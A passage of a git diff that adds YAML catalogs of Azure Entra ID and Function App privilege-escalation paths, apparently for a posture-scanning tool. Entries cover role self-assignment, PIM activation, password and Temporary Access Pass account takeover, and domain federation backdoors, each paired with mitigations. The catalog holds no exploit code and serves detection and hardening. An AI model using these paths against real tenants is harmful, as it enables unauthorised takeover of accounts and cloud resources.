groups (incl. role-assignable) in {scope}" + conditions: + - id: on_prem_synced_group + description: Groups synchronised from on-premises AD cannot be governed by PIM for Groups. + - id: source_controls_user + description: A separate, attributable path must reach an enabled user outside the target group, because a service principal cannot activate an eligible PIM for Groups assignment. + - id: pim_activation_requirements + description: Activation may require MFA, a Conditional Access authentication context, justification or ticket information. + blockers: + - pim_approval_required_by_other_principal + - restricted_management_au + - service_principal_conditional_access_block + confidence: conditional + severity: high + mitigation: Require approval for membership activation of privileged groups, treat PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup as Tier 0 and review PIM for Groups eligibility with access reviews. + references: + - https://learn.microsoft.com/en-us/graph/api/privilegedaccessgroup-post-eligibilityschedulerequests?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedeligibilityschedulereadwriteazureadgroup + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/groups-role-settings + notes: Severity should be raised to critical by the evaluator when the group is role-assignable and holds a privileged directory role. Holders of RoleManagementPolicy.ReadWrite.AzureADGroup can remove the approval requirement (enabler, not a separate edge). + +- id: azure-entraid-pim-group-eligible-activation + provider: azure + service: entraid + title: Activate an eligible PIM for Groups membership or ownership + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#pim-for-groups-the-sneaky-path + source_revision: 171e422 + summary: An enabled user with current PIM for Groups eligibility may activate new group membership, or activate ownership and then join the group, when the matching policy does not require another person's approval. + requires: + all_of: [] + source_kind: azure_user + target: + kind: entra_group + selector: + entra_pim_group_eligible_for_source: true + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "PIM for Groups eligibilities of the source" + conditions: + - id: pim_activation_required + description: The eligibility must be activated (MFA, justification or ticket as the group's PIM policy requires) before the grants apply. + blockers: + - restricted_management_au + confidence: conditional + severity: critical + mitigation: Require approval for activation of privileged PIM-governed groups, keep eligibilities minimal, and review eligibilities on role-assignable groups. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/concept-pim-for-groups + notes: The collector reads per-group eligibility schedules and current instances, plus separate member and owner activation policies. The evaluator excludes already active membership or ownership and known approval-required self-activation. A missing instance or policy keeps a recorded path conditional. Only users can receive and activate eligible PIM for Groups assignments; a service principal active-assignment path is separate. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_roles.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_roles.yaml new file mode 100644 index 0000000000..23f0266113 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_roles.yaml @@ -0,0 +1,437 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Entra ID (Azure AD) identity-plane privilege escalation: directory-role management, +# PIM activation, user credential takeover (password / authentication methods) and +# domain federation. +# Source: hacktricks-cloud az-entraid-privesc/README.md, az-services/az-azuread.md, +# az-basic-information/README.md, az-persistence/README.md (rev 171e422; all entries re-verified against the page text at that revision). +# Target user sets follow Microsoft's "Who can reset passwords" / "Who can perform +# sensitive actions" tables (privileged-roles-permissions, checked 2026-10). +# +# Requirement keys used here: +# entra_role: (active assignment; the evaluator also +# resolves custom roles via entra_permission) +# entra_permission: microsoft.directory/... + optional scope: "{target.scope}" where +# {target.scope} is the Entra directoryScopeId +# that contains the target ("/", +# "/administrativeUnits/" or "/") +# graph_app_permission: +# entra_pim_eligible_role: "{target.id}" (PIM-eligible, not active, role assignment) + +- id: azure-entraid-graph-rolemanagement-readwrite-directory + provider: azure + service: entraid + title: Graph RoleManagement.ReadWrite.Directory assigns any directory role + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#rolemanagementreadwritedirectory + source_revision: 171e422 + summary: An enabled service principal holding the Graph RoleManagement.ReadWrite.Directory application permission can assign itself an enabled Entra directory role at tenant scope, including Global Administrator. + requires: + all_of: + - graph_app_permission: RoleManagement.ReadWrite.Directory + target: + kind: entra_role + selector: + entra_role_assignable: any + entra_graph_directory_role_self_grant: true + scope: tenant + aggregate_as: "Every Entra directory role (incl. Global Administrator) in {scope}" + blockers: + - service_principal_conditional_access_block + confidence: derived + severity: critical + mitigation: Remove RoleManagement.ReadWrite.Directory from non-Tier-0 applications, treat holders as Global Administrator equivalents, and alert on role assignment creation by service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/rbacapplication-post-roleassignments?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/groups-concept + notes: This permission is also the only Graph permission that can manage membership of role-assignable groups (Group.ReadWrite.All cannot). Role-assignable groups and restricted management AUs do not limit this edge because the source can simply assign itself the role directly, including at restricted-AU scope. Delegated use of the same scope is bounded by the signed-in user's own role and is covered by the role entries. + +- id: azure-entraid-role-assignment-manage + provider: azure + service: entraid + title: Manage directory role assignments (Privileged Role Administrator) + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#role-privileged-role-administrator + source_revision: 171e422 + summary: A principal allowed to manage tenant-scoped directory role assignments (e.g. Privileged Role Administrator) can obtain the privileges of any Entra directory role, including Global Administrator. + requires: + any_of: + - - entra_permission: microsoft.directory/roleAssignments/allProperties/allTasks + scope: "/" + - - entra_role: Privileged Role Administrator + - - entra_role: Global Administrator + target: + kind: entra_role + selector: + entra_role_assignable: any + entra_role_assignment_self_grant: true + scope: tenant + aggregate_as: "Every Entra directory role (incl. Global Administrator) in {scope}" + blockers: [] + confidence: derived + severity: critical + mitigation: Treat Privileged Role Administrator as Tier 0, keep it PIM-eligible with approval, and alert on role assignments to Global Administrator or other privileged roles. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference#privileged-role-administrator + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/manage-roles-portal + notes: Privileged Role Administrator can assign itself an enabled directory role at tenant scope, including Global Administrator, unless it already has that role. A tenant-scoped Global Administrator already has the highest directory privilege and is not an escalation source. An app-only source additionally needs the Graph RoleManagement.ReadWrite.Directory application permission; a delegated user can use a supported Graph client. The allProperties/update action alone does not create a role assignment. An eligible but inactive PIM role is not an active assignment. + +- id: azure-entraid-custom-role-definition-update + provider: azure + service: entraid + source_kind: azure_user + title: Expand a custom directory role the source already holds + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#role-privileged-role-administrator + source_revision: 3a5bfbd852 + summary: A principal allowed to update directory role definitions can obtain the privileges of any custom-role-eligible permission set through the custom roles already assigned to it. + requires: + any_of: + - - entra_permission: microsoft.directory/roleDefinitions/allProperties/allTasks + scope: "/" + - - entra_permission: microsoft.directory/roleDefinitions/allProperties/update + scope: "/" + target: + kind: entra_role + selector: + entra_custom_role_assigned_to_source: true + scope: tenant + aggregate_as: "Custom roles assigned to {source} (expandable to any custom-role-eligible permission)" + conditions: + - id: custom_role_permission_eligibility + description: Only permissions eligible for custom roles can be added (e.g. applications/credentials/update, servicePrincipals/credentials/update, groups/members/update); users/password/update and roleAssignments permissions are not available to custom roles. + - id: graph_role_definition_update + description: The delegated Graph call needs RoleManagement.ReadWrite.Directory or Directory.ReadWrite.All, and Microsoft Entra ID P1 or P2 is required to edit custom role definitions. + blockers: [] + confidence: derived + severity: high + mitigation: Restrict roleDefinitions write to Privileged Role Administrator / Global Administrator and review custom role definitions for credential-update permissions. + references: + - https://learn.microsoft.com/en-us/graph/api/unifiedroledefinition-update?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/custom-available-permissions + notes: Built-in role definitions are immutable. The target is the exact active custom role assigned to the source directly or through a recorded group; the role-definition update permission must be tenant-scoped. The gained permissions then feed other entries (e.g. application credential update) so the evaluator should chain this edge. If the source also holds roleAssignments write, azure-entraid-role-assignment-manage already dominates. + +- id: azure-entraid-pim-eligible-role-activation + provider: azure + service: entraid + title: Activate a PIM-eligible directory role + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-pim-privesc.md#activate-an-eligible-role-in-model-jit-self-elevation + source_revision: 171e422 + summary: An enabled user with a current PIM eligibility can activate a directory role they do not already hold when its policy does not require another person's approval. + requires: + all_of: + - entra_pim_eligible_role: "{target.id}" + target: + kind: entra_role + selector: + entra_pim_eligible_for_source: true + scope: tenant + aggregate_as: "Entra roles {source} is PIM-eligible for" + conditions: + - id: pim_activation_requirements + description: Activation may require MFA, a Conditional Access authentication context, justification, ticket information, or approval by designated approvers; approval-required roles are not self-activatable. + confidence: conditional + severity: high + mitigation: Require approval and MFA/authentication context for activation of privileged roles and review eligible assignments with access reviews. + references: + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-approval-workflow + notes: Eligibility may be direct or inherited from permanent membership of a role-assignable group. Service principals cannot hold eligible assignments. The evaluator checks current eligibility, existing active assignments, role enabled state and the expanded role policy. Known approval-required roles are excluded from self-activation; missing policy and restricted eligibility scopes remain conditional. An approver does not gain the role and cannot approve their own activation. + +# --------------------------------------------------------------------------- +# User credential takeover. Target sets follow the Microsoft "Who can reset +# passwords" table (tenant-scoped assignments). Common rules for all entries: +# - Users who are members or owners of a role-assignable group, and users holding a +# role scoped to a restricted management AU, are only reachable by Privileged +# Authentication Administrator / Global Administrator. +# - Members of a restricted management AU are only reachable when the source's +# assignment is scoped to that RMAU (even Global Administrator is blocked otherwise). +# - With an AU-scoped assignment the source reaches only AU members, and only those +# without any administrator role (except Privileged Authentication Administrator). +# - "Admin" means an Entra directory role. Users with powerful Azure RBAC roles +# (e.g. subscription Owner) but no directory role are "non-admins" and reachable. +# --------------------------------------------------------------------------- + +- id: azure-entraid-reset-password-password-admin + provider: azure + service: entraid + title: Password Administrator resets passwords of non-admins and limited roles + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: A Password Administrator can obtain the privileges of users with no directory role or only Directory Readers, Guest Inviter or Password Administrator. + requires: + all_of: + - entra_role: Password Administrator + scope: "{target.scope}" + target: + kind: azure_user + selector: + entra_reset_matrix_column: password_admin + entra_role_assignment_scope_covers_target: true + entra_password_admin_reset: true + scope: tenant + aggregate_as: "Non-admin users (and Directory Readers / Guest Inviter / Password Administrator) in {scope}" + conditions: + - id: mfa_or_ca_after_reset + description: A new password alone does not satisfy MFA / Conditional Access requirements registered for the target user. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users may be overwritten by on-premises sync unless password writeback is enabled. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: conditional + severity: high + mitigation: Scope Password Administrator to administrative units, place sensitive non-admin users (e.g. Azure subscription owners) in restricted management AUs, and enforce phishing-resistant MFA. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + notes: Allowed target roles per Microsoft table - none (non-admin), Directory Readers, Guest Inviter, Password Administrator. An administrative-unit-scoped Password Administrator can reset only non-admin users directly in that unit. Restricted-unit targets require a matching scoped assignment; members and owners of role-assignable groups are protected. Federated passwords cannot be reset in Entra and synchronized passwords depend on writeback. A non-admin with Azure RBAC Owner or User Access Administrator may still be a valuable target. + +- id: azure-entraid-reset-password-helpdesk-admin + provider: azure + service: entraid + title: Helpdesk Administrator resets passwords of non-admins and limited roles + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: A Helpdesk Administrator can obtain the privileges of users with no directory role or only Helpdesk-resettable limited roles. + requires: + all_of: + - entra_role: Helpdesk Administrator + scope: "{target.scope}" + target: + kind: azure_user + selector: + entra_reset_matrix_column: helpdesk_admin + entra_role_assignment_scope_covers_target: true + entra_helpdesk_password_reset: true + scope: tenant + aggregate_as: "Non-admin users and Helpdesk-resettable roles in {scope}" + conditions: + - id: mfa_or_ca_after_reset + description: A new password alone does not satisfy MFA / Conditional Access requirements registered for the target user. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users depend on password writeback. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: conditional + severity: high + mitigation: Scope Helpdesk Administrator to administrative units and protect sensitive users with restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + notes: Allowed target roles - none, Directory Readers, Guest Inviter, Helpdesk Administrator, Message Center Reader, Password Administrator, Reports Reader, User Experience Success Manager, Usage Summary Reports Reader. Global Reader is not allowed. An administrative-unit-scoped Helpdesk Administrator can reset only non-admin users directly in that unit. Restricted-unit targets require a matching scoped role assignment; role-assignable group members and owners are protected. Federated passwords cannot be reset in Entra and synchronized passwords depend on writeback. + +- id: azure-entraid-reset-credentials-authentication-admin + provider: azure + service: entraid + title: Authentication Administrator resets passwords and authentication methods of non-admins + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: An Authentication Administrator can take over a supported user account through password reset or authentication-method registration when the role assignment covers that user and protected-account restrictions allow the change. + requires: + all_of: + - entra_role: Authentication Administrator + scope: "{target.scope}" + target: + kind: azure_user + selector: + entra_reset_matrix_column: authentication_admin + entra_auth_admin_user_takeover: true + entra_role_assignment_scope_covers_target: true + scope: tenant + aggregate_as: "Non-admin users and Authentication-Admin-resettable roles in {scope}" + conditions: + - id: tap_policy + description: Temporary Access Pass issuance requires the TAP authentication method policy to be enabled for the target user. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users depend on password writeback. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: conditional + severity: high + mitigation: Scope Authentication Administrator to administrative units, restrict TAP issuance, and protect sensitive users with restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + - https://learn.microsoft.com/en-us/graph/api/authentication-post-temporaryaccesspassmethods?view=graph-rest-1.0 + notes: The documented target matrix includes users with no directory role and Authentication Administrator, Directory Readers, Guest Inviter, Message Center Reader, Password Administrator, Reports Reader, User Experience Success Manager, and Usage Summary Reports Reader. AU-scoped Authentication Administrators can manage only non-admin users in that AU; restricted management AU members require a matching scoped assignment. Members or owners of role-assignable groups remain protected. TAP registration requires an enabled policy covering the target; password reset alone may still face MFA or Conditional Access. + +- id: azure-entraid-reset-password-user-admin + provider: azure + service: entraid + title: User Administrator resets passwords of non-admins and limited admins + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: A User Administrator can obtain the privileges of users with no directory role and of users holding only User-Administrator-resettable roles (incl. Groups, Helpdesk, Password and User Administrators). + requires: + all_of: + - entra_role: User Administrator + scope: "{target.scope}" + target: + kind: azure_user + selector: + entra_reset_matrix_column: user_admin + entra_role_assignment_scope_covers_target: true + entra_user_admin_password_reset: true + scope: tenant + aggregate_as: "Non-admin users and User-Admin-resettable roles in {scope}" + conditions: + - id: mfa_or_ca_after_reset + description: A new password alone does not satisfy MFA / Conditional Access requirements registered for the target user. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users depend on password writeback. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: conditional + severity: high + mitigation: Scope User Administrator to administrative units and keep it PIM-eligible; protect sensitive users with restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + notes: Allowed target roles - none, Directory Readers, Groups Administrator, Guest Inviter, Helpdesk Administrator, Message Center Reader, Password Administrator, Reports Reader, User Administrator, User Experience Success Manager, Usage Summary Reports Reader. Global Reader is not allowed. AU-scoped assignments reach only non-admin users in that unit, and restricted-unit targets need a matching scoped assignment. App-only resets additionally need User-PasswordProfile.ReadWrite.All plus a User Administrator role; scoped applications also need tenant directory read access. Role-assignable group members and owners are protected. Federated passwords cannot be reset in Entra, while synchronized passwords depend on writeback. + +- id: azure-entraid-reset-credentials-privileged-auth-admin + provider: azure + service: entraid + title: Privileged Authentication Administrator resets credentials of any user + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: a66f094ede + summary: A Privileged Authentication Administrator (or Global Administrator) can obtain the privileges of any user in its scope, including Global Administrators. + requires: + any_of: + - - entra_role: Privileged Authentication Administrator + scope: "{target.scope}" + - - entra_role: Global Administrator + - - entra_role: Partner Tier2 Support + target: + kind: azure_user + selector: + entra_reset_matrix_column: privileged_auth_admin + entra_role_assignment_scope_covers_target: true + entra_privileged_auth_user_takeover: true + scope: tenant + aggregate_as: "All users (incl. Global Administrators) in {scope}" + conditions: + - id: tap_policy + description: Temporary Access Pass issuance requires the TAP policy to be enabled for the target; password reset does not satisfy registered MFA by itself. + - id: federated_or_synced_user + description: Passwords of users in federated domains cannot be set in Entra; synced users depend on password writeback. + blockers: + - restricted_management_au + confidence: conditional + severity: critical + mitigation: Treat Privileged Authentication Administrator as Tier 0, never assign it to service principals, and require PIM approval. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/admin-units-restricted-management + notes: A restricted management AU target requires a matching scoped assignment; a Global Administrator inside a restricted AU cannot have its password reset there. Partner Tier2 Support is deprecated but retains reset authority. An application identity additionally needs a Graph application permission for password reset or TAP registration. Federated users need a TAP policy that covers them, while synced passwords depend on writeback. + +- id: azure-entraid-reset-password-partner-tier1 + provider: azure + service: entraid + title: Non-admin-only password reset roles (Partner Tier1 Support, Security Operator, SOC Identity Responder) + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryuserspasswordupdate + source_revision: 171e422 + summary: A holder of Partner Tier1 Support, Security Operator or Entra SOC Identity Responder can obtain the privileges of users with no directory role. + requires: + any_of: + - - entra_role: Partner Tier1 Support + - - entra_role: Security Operator + - - entra_role: Entra SOC Identity Responder + target: + kind: azure_user + selector: + entra_reset_matrix_column: non_admin_only + entra_nonadmin_password_reset: true + scope: tenant + aggregate_as: "Users without directory roles in {scope}" + conditions: + - id: mfa_or_ca_after_reset + description: A new password alone does not satisfy MFA / Conditional Access requirements registered for the target user. + blockers: + - restricted_management_au + - role_assignable_group_member_or_owner + confidence: conditional + severity: high + mitigation: Remove Partner Tier1/Tier2 Support assignments (deprecated roles), keep Security Operator / SOC Identity Responder PIM-eligible, and protect sensitive non-admin users with restricted management AUs. + references: + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/privileged-roles-permissions#who-can-reset-passwords + notes: Partner Tier1 Support is deprecated. Security Operator and Entra SOC Identity Responder hold microsoft.directory/users/password/update, but can reset only non-admin accounts. Role-assignable group members and owners are protected. Restricted-unit targets need a matching scoped assignment. Federated passwords cannot be reset in Entra; synchronized passwords depend on writeback. A disabled user also needs a separately authorized enable action before sign-in. + +- id: azure-entraid-graph-userauthenticationmethod-tap + provider: azure + service: entraid + title: Graph UserAuthenticationMethod.ReadWrite.All issues a Temporary Access Pass for any user + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#userauthenticationmethodreadwriteall + source_revision: 171e422 + summary: An enabled service principal holding a Graph TAP write permission can issue a Temporary Access Pass for an enabled internal user included in the TAP policy, including an administrator. + requires: + any_of: + - - graph_app_permission: UserAuthenticationMethod.ReadWrite.All + - - graph_app_permission: UserAuthMethod-TAP.ReadWrite.All + target: + kind: azure_user + selector: + entra_graph_tap_user_target: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "All users (incl. administrators) in {scope} covered by the TAP policy" + conditions: + - id: tap_policy + description: The Temporary Access Pass policy must be enabled and include the target user without excluding their group; a single-use pass is sufficient for sign-in. + blockers: + - restricted_management_au + confidence: conditional + severity: critical + mitigation: Grant authentication-method write application permissions only to Tier-0 apps, restrict the TAP policy to a small group, and alert on TAP creation by service principals. + references: + - https://learn.microsoft.com/en-us/graph/api/authentication-post-temporaryaccesspassmethods?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/admin-units-restricted-management#programmability + notes: Microsoft documents a role requirement only for delegated calls (Authentication Administrator / Privileged Authentication Administrator, covered by the role entries); app-only calls are not documented as bounded by the role hierarchy, so admins are in scope. Graph application permissions do not apply to objects in restricted management AUs. + +- id: azure-entraid-domain-federation-backdoor + provider: azure + service: entraid + title: Federate a verified domain with an attacker-trusted issuer + source: src/pentesting-cloud/azure-security/az-persistence/README.md#federation---trusted-domain + source_revision: c2b0ea0f1b + summary: A principal allowed to update domain federation settings can obtain the privileges of users whose UPN is on a verified custom domain it can federate. + requires: + any_of: + - - entra_permission: microsoft.directory/domains/federation/update + scope: "/" + - - entra_permission: microsoft.directory/domains/federationConfiguration/create + scope: "/" + - - entra_permission: microsoft.directory/domains/allProperties/allTasks + scope: "/" + - - entra_role: Global Administrator + scope: "/" + - - entra_role: Hybrid Identity Administrator + scope: "/" + - - entra_role: External Identity Provider Administrator + scope: "/" + - - entra_role: Security Administrator + scope: "/" + - - entra_role: Domain Name Administrator + scope: "/" + - - graph_app_permission: Domain-InternalFederation.ReadWrite.All + - - graph_app_permission: Domain.ReadWrite.All + target: + kind: azure_user + selector: + entra_user_upn_on_federatable_custom_domain: true + scope: tenant + aggregate_as: "Users whose UPN is on a verified custom domain of {scope}" + conditions: + - id: graph_federation_authorization + description: Delegated callers need a Graph scope that permits federation writes. Converting a managed domain requires Domain-InternalFederation.ReadWrite.All. + - id: federation_sign_in + description: The issuer, signing certificate, relying party, and user sign-in must work for the target domain. + blockers: + - target_upn_on_initial_onmicrosoft_domain + confidence: conditional + severity: critical + mitigation: Restrict domains/federation/update (Global Administrator, Hybrid Identity Administrator, External Identity Provider Administrator, Domain Name Administrator) to Tier 0, keep break-glass and admin accounts on the *.onmicrosoft.com domain, and alert on federation setting changes. + references: + - https://learn.microsoft.com/en-us/graph/api/resources/internaldomainfederation?view=graph-rest-1.0 + - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference + notes: This path uses an already verified non-initial custom domain; adding a new domain and verifying DNS is a separate prerequisite and cannot by itself name existing users. The evaluator joins each target's UPN and recorded immutable ID to that exact domain. A managed domain needs federation creation authority and a federated domain needs update authority. Directory role permissions must be tenant-scoped. App-only Graph grants must be enabled on the Microsoft Graph service principal. Initial onmicrosoft.com domains cannot be federated. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/functions.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/functions.yaml new file mode 100644 index 0000000000..bfff483fc5 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/functions.yaml @@ -0,0 +1,143 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Function App-specific privilege escalation techniques (declarative only). +# Generic Microsoft.Web/sites techniques are in app_services.yaml and also apply to Function Apps. +# Source: hacktricks-cloud az-functions-app-privesc.md / az-app-services-privesc.md +# (rev 171e422, re-verified). +# Placeholder {target.host_resource.content_storage}: the storage account referenced by the app's +# AzureWebJobsStorage / WEBSITE_CONTENTAZUREFILECONNECTIONSTRING / WEBSITE_RUN_FROM_PACKAGE settings. + +- id: azure-functions-hostruntime-vfs-write + provider: azure + service: functions + title: Modify Function App files through the host runtime VFS + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostruntimevfswrite + source_revision: b2319b83d9 + summary: Writing executable Function App content through the ARM runtime VFS may let it run with the app's managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/hostruntime/vfs/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + azure_function_host_vfs_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: writable_runtime_content + description: The running host must accept the VFS write to executable content and load the changed code. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict hostruntime/vfs/write. + references: + - https://learn.microsoft.com/en-us/azure/azure-functions/deployment-zip-push + notes: The ARM hostruntime VFS permission is distinct from Kudu/SCM VFS authorization. The exact Function App host and a non-Flex, non-container, writable-content route are required. A known run-from-package mount blocks this file-editing path; unknown deployment mode and later execution remain conditional. + +- id: azure-functions-functions-write + provider: azure + service: functions + title: Create or update a function definition + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#replace-a-functions-code-with-microsoftwebsitesfunctionswrite + source_revision: 3d70185315 + summary: The source can obtain the privileges of the Function App's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/functions/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + azure_function_definition_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: writable_content + description: Function content must be writable and the changed function must run before its managed identity is reached. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.Web/sites/functions/write. + references: + - https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/create-function?view=rest-appservice-2026-07-15 + - https://learn.microsoft.com/en-us/azure/azure-functions/deployment-zip-push + notes: The dynamic selector binds this action to the exact Function App hosting the identity, including a role scoped to an existing function child. Flex/package-based content cannot be modified through this route. Where package mode is not recorded, runtime execution remains conditional. + +- id: azure-functions-sites-write-source-control + provider: azure + service: functions + title: Repoint a Function App's deployment source + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#change-github-repo + source_revision: 14edac2ecb + summary: Rewriting the app's source-control configuration to an attacker repository may deploy code with the Function App's managed identities. + requires: + all_of: + - action: Microsoft.Web/sites/sourcecontrols/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + azure_appservice_sourcecontrol_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: deployment_runs + description: Changing the source-control metadata does not push code; a deployment from the new source must authenticate and succeed. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict sourcecontrols/write and monitor deployment source changes. + references: + - https://learn.microsoft.com/en-us/azure/app-service/deploy-continuous-deployment + - https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/create-or-update-source-control?view=rest-appservice-2026-07-15 + notes: The same source-control operation is also modeled by azure-appservice-sourcecontrols-write. The selector binds the permission to this Function App's sourcecontrols/web child and leaves successful deployment and code execution conditional. + +- id: azure-functions-remote-debugging + provider: azure + service: functions + title: Enable remote debugging and attach a debugger to the Function App worker + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#remote-debugging + source_revision: 9772b41e74 + summary: Publishing credentials may permit remote debugger attachment to a supported running Function App after debugging is enabled, exposing its managed identity in the worker process. + requires: + any_of: + - - action: Microsoft.Web/sites/publishxml/action + scope: "*" + - - action: Microsoft.Web/sites/config/list/action + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_site_kind: functionapp + azure_function_remote_debug_path: true + scope: inherited_scope + aggregate_as: "Managed identities of Function App {target.host_resource}" + conditions: + - id: remote_debugging_supported + description: Remote debugging requires a running Windows C# Function App on Premium or an App Service plan and is automatically turned off after 48 hours. + - id: basic_auth_allowed + description: The debugger needs usable publishing credentials and a reachable debug endpoint; SCM basic auth must be allowed or enableable. + blockers: + - scm_and_ftp_basic_auth_disabled + confidence: conditional + severity: high + mitigation: Keep remote debugging off, disable basic auth and restrict config/write. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-common#configure-general-settings + - https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs + - https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/list-publishing-credentials?view=rest-appservice-2026-07-15 + notes: The exact app must grant publishing-profile read or config/list on its publishingcredentials child. If remote debugging is not already enabled, config/write on that app's config/web child is also required. If SCM basic auth is disabled, basicPublishingCredentialsPolicies/write on that app's scm child is required. The worker language and debugger reachability remain conditional when not recorded. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/guest_configuration.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/guest_configuration.yaml new file mode 100644 index 0000000000..eb7a6ac9ef --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/guest_configuration.yaml @@ -0,0 +1,43 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Machine Configuration (Guest Configuration) techniques (declarative only). +# Source: hacktricks-cloud az-guest-configuration-privesc.md (rev 171e422). +# The Guest Configuration agent runs the assigned DSC package as LocalSystem/root, so in-guest code +# reaches every managed identity exposed by IMDS (Azure VM) or HIMDS (Arc server) on that machine. + +- id: azure-guestconfiguration-assignment-write-arc + provider: azure + service: guest_configuration + title: Create a 